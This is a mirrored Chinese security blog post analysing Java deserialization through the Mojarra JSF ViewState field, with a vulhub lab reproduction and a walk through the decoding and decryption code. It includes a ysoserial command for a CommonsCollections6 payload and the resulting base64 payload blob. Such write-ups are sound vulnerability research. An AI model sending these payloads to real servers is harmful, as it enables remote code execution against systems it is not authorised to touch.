6

Java安全之Mojarra JSF反序列化 - Zh1z3ven

 1 year ago
source link: https://www.cnblogs.com/CoLo/p/16886829.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Java安全之Mojarra JSF反序列化

About JSF#

JavaServer Faces,新一代的Java Web应用技术标准,吸收了很多Java Servlet以及其他的Web应用框架的特性。JSF为Web应用开发定义了一个事件驱动的、基于组件的模型。

其中最常用的是Sun(现在的Oracle)发布的Mojarra和Apache发布的MyFaces

JavaServerFaces(JSF)概念在几年前就已经引入,现在主要在J2EE中使用

JSF 和类似的 Web 技术之间的区别在于 JSF 使用 ViewStates(除了会话)来存储视图的当前状态(例如,当前应该显示视图的哪些部分)。ViewState 可以存储在server或 上client。JSF ViewStates 通常作为隐藏字段自动嵌入到 HTML 表单中,名称为javax.faces.ViewState。如果提交表单,它们将被发送回服务器。(有点像.net中的viewstate)

如果 JSF ViewState 配置为位于client隐藏javax.faces.ViewState字段上,则包含一个至少经过 Base64 编码的序列化 Java 对象。

默认字段如下,其中javax.faces.ViewState的值为经过编码/加密处理的序列化对象

<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />

利用条件#

所有MyFaces版本1.1.7、1.2.8、2.0和更早版本,以及Mojarra 1.2.14、2.0.2

JSF2.2之前的规范要求实现加密机制,但不要求使用加密机制。

Mojarra:ViewState配置为驻留在client (javax.faces.STATE_SAVING_METHOD)

MyFaces: ViewState配置为驻留在clientserver

如果能获取到加密密钥,那么即便进行加密,依然可以利用,默认情况下,Mojarra 使用AES加密算法HMAC-SHA256验证 ViewState。

漏洞复现#

vulhub拉取镜像将代码copy出来

docker-compose up -d
docker cp 568e46fdd891:/usr/src /tmp

本地起tomcat搭建环境,vulhub用的jdk7u21链,建议本地搭的时候自己添加一个可利用的依赖

1835657-20221113202150794-1047259498.png

生成payload命令,记得url编码

java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections6 -a "raw_cmd:open -a Calculator" | gzip | base64

H4sIAL4abWMAA5WUTWjUQBTHX5Kuta3S7RZKQcQetdjEQw/VPWitFhe2VWyR4l6c7s7uppsvJ5NttoqgoAW99LC1iKA99GYVxIMieCgePIgFvSh6EUHwoKAnj/om2W2zftXmkEwy8/+99/5vMstfIOYy6JgiZaJ6XDfUY8QtjlH++Mjl+euPHvYrAL4zvQ0A5IOHQFwSru+3WUElDskWqZq1TdO2XHwaBs1yXYxLtFImhkfVcZ3mRohz1OKscvXuq5v7V3a9k0FOg4JLOCTSIrBmEKugHZ+cQnkSp0zicGgPp0ROGhKSPn5T8raN0Xs3iI56NU1mKiizPlYv3arEqwpIaWjOkyy3Gcbdm0aEFiK0GkKLILRxRiw3bzOTMoyMMQ9sEDPvWYLtqkNFols0FwHse7bweffMQpMMUga265EZl0NfZnOpeKwm+VcyUcmTU73f3vR335BFI7F9ot3J/y4G3zixeAQ4UZ7rGJTvV2XhaIteX3EWLoDiO+X6XhItVU96FtdNCuvX5rxMWWW7RFkk+uynH6Vz51cHZFAyENMHWQE97Mz8aRu16SOUF+3cKDFp404b40y3CskMLjlBGDHHKw5FTCKKGTKI64Z+1/BhSTX83OrE7bi7x6i7KnNoLVBeKxhFiagohN3pen3v+YvTa50ADi2oCbP0hIE7BAktjK9Lw1wXvy4NzCQfHA6k5WCpK+6dgaxbyJy1IXK36IFzf4OGRTS0JYB2/wKV0BTboVZPH+kZIkbWMwj2hUMT9Wl2DS6JQU8gbXcb+p+yOC1QlviwuPT94iw2TUpBLDgY/IZ8Rj1zkrIry/M726rvr9X9kX4/mPCPjjW/XXnadealAvIwtBo2yQ0Hf3UKWniRUbdoGznfqZ1VML0Vb/GgRN//CQ5kWPztBAAA

1835657-20221113202201799-206934029.png

漏洞分析#

Web.xml配置,p牛的环境中是没有加密的,加密的环境后面再说

<servlet>
  <servlet-name>Faces Servlet</servlet-name>
  <servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
  <load-on-startup>1</load-on-startup>
</servlet>
<!-- Map these files with JSF -->
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>/faces/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>*.jsf</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>*.faces</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>*.xhtml</url-pattern>
</servlet-mapping>

定位到jsf-api-2.1.28.jar!/javax/faces/webapp/FacesServlet#service

debug, 跟进 this.lifecycle.execute(context);

public void service(ServletRequest req, ServletResponse resp) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)resp;
        this.requestStart(request.getRequestURI());
        if (!this.isHttpMethodValid(request)) {
            response.sendError(400);
        } else {
           ......

            FacesContext context;
            if (!this.initFacesContextReleased) {
                context = FacesContext.getCurrentInstance();
                if (null != context) {
                    context.release();
                }

                this.initFacesContextReleased = true;
            }

            context = this.facesContextFactory.getFacesContext(this.servletConfig.getServletContext(), request, response, this.lifecycle);

            try {
                ResourceHandler handler = context.getApplication().getResourceHandler();
                if (handler.isResourceRequest(context)) {
                    handler.handleResourceRequest(context);
                } else {
                    this.lifecycle.execute(context);
                    this.lifecycle.render(context);
                }
            }

跟进this.phases[i].doPhase ,这里会有循环遍历多个Phase对象去调用doPhase方法

1835657-20221113202224491-962344591.png

继续跟进到this.execute

    public void doPhase(FacesContext context, Lifecycle lifecycle, ListIterator<PhaseListener> listeners) {
        context.setCurrentPhaseId(this.getId());
        PhaseEvent event = null;
        if (listeners.hasNext()) {
            event = new PhaseEvent(context, this.getId(), lifecycle);
        }

        Timer timer = Timer.getInstance();
        if (timer != null) {
            timer.startTiming();
        }

        try {
            this.handleBeforePhase(context, listeners, event);
            if (!this.shouldSkip(context)) {
                this.execute(context);
            }

在execute方法逻辑内,先通过facesContext.getExternalContext().getRequestMap();拿到一个RequestMap其中的值为ExternalContextImpl对象,该对象中包含了上下文、request、response等整体信息。后续跟进 viewHandler.restoreView(facesContext, viewId);

1835657-20221113202239958-1691624388.png

继续跟进getstate

1835657-20221113202248956-943360373.png

下面是一处关键点,通过刚才我们提到的ExternalContextImpl,从中对应的requestParameterMap中的key取出我们传入的payload,默认情况下是javax.faces.Viewstate,之后该值作为形参带入doGetState方法内

1835657-20221113202259911-1544285427.png

下面是漏洞出发点的反序列化逻辑部分

先Base64解码,解码后通过this.guard的值是否为null判断是否有加密,有加密的话会去调用this.guard.decrypt进行解密,之后ungzip解压

1835657-20221113202311575-820976941.png

之后将该流转换为ApplicationObjectInputStream并有一个timeout的判断逻辑,最后直接反序列化

1835657-20221113202321981-2047946779.png

存在加密的情况的话可能会有以下的配置

  <context-param>
    <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
    <param-value>client</param-value>
  </context-param>

  <env-entry> 
    <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name> 
    <env-entry-type>java.lang.String</env-entry-type> 
    <env-entry-value>[some secret password]</env-entry-value>
  </env-entry>
<context-param>
  <param-name>com.sun.faces.ClientSideSecretKey</param-name>
  <param-value>[some secret password]</param-value>
</context-param>

ClientSideStateHelper#doGetState中有如下代码

其中guard来标识是否启用加密,有加密时会调用this.guard.decrypt进行解密

if ("stateless".equals(stateString)) {
  return null;
} else {
  ObjectInputStream ois = null;
  InputStream bis = new Base64InputStream(stateString);

  try {
    if (this.guard != null) {
      byte[] bytes = stateString.getBytes("UTF-8");
      int numRead = ((InputStream)bis).read(bytes, 0, bytes.length);
      byte[] decodedBytes = new byte[numRead];
      ((InputStream)bis).reset();
      ((InputStream)bis).read(decodedBytes, 0, decodedBytes.length);
      bytes = this.guard.decrypt(decodedBytes);
      if (bytes == null) {
        return null;
      }

      bis = new ByteArrayInputStream(bytes);
    }

加解密逻辑均在ByteArrayGuard类中,需要时扣代码即可

public byte[] decrypt(byte[] bytes) {
  try {
    byte[] macBytes = new byte[32];
    System.arraycopy(bytes, 0, macBytes, 0, macBytes.length);
    byte[] iv = new byte[16];
    System.arraycopy(bytes, macBytes.length, iv, 0, iv.length);
    byte[] encdata = new byte[bytes.length - macBytes.length - iv.length];
    System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length);
    IvParameterSpec ivspec = new IvParameterSpec(iv);
    Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    decryptCipher.init(2, this.sk, ivspec);
    Mac decryptMac = Mac.getInstance("HmacSHA256");
    decryptMac.init(this.sk);
    decryptMac.update(iv);
    decryptMac.update(encdata);
    byte[] macBytesCalculated = decryptMac.doFinal();
    if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) {
      byte[] plaindata = decryptCipher.doFinal(encdata);
      return plaindata;
    } else {
      System.err.println("ERROR: MAC did not verify!");
      return null;
    }
  } catch (Exception var10) {
    System.err.println("ERROR: Decrypting:" + var10.getCause());
    return null;
  }
}

整体逻辑为,其中看lib版本和配置来判断走不走加解密

 * Generate Payload:
 *          writeObject ==> Gzip ==> Encrpt ==> Base64Encode
 *
 * Recive Payload:
 *          Base64Decode ==> Decrpt ==> UnGzip ==> readObject

Reference#

https://www.cnblogs.com/nice0e3/p/16205220.html

https://book.hacktricks.xyz/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK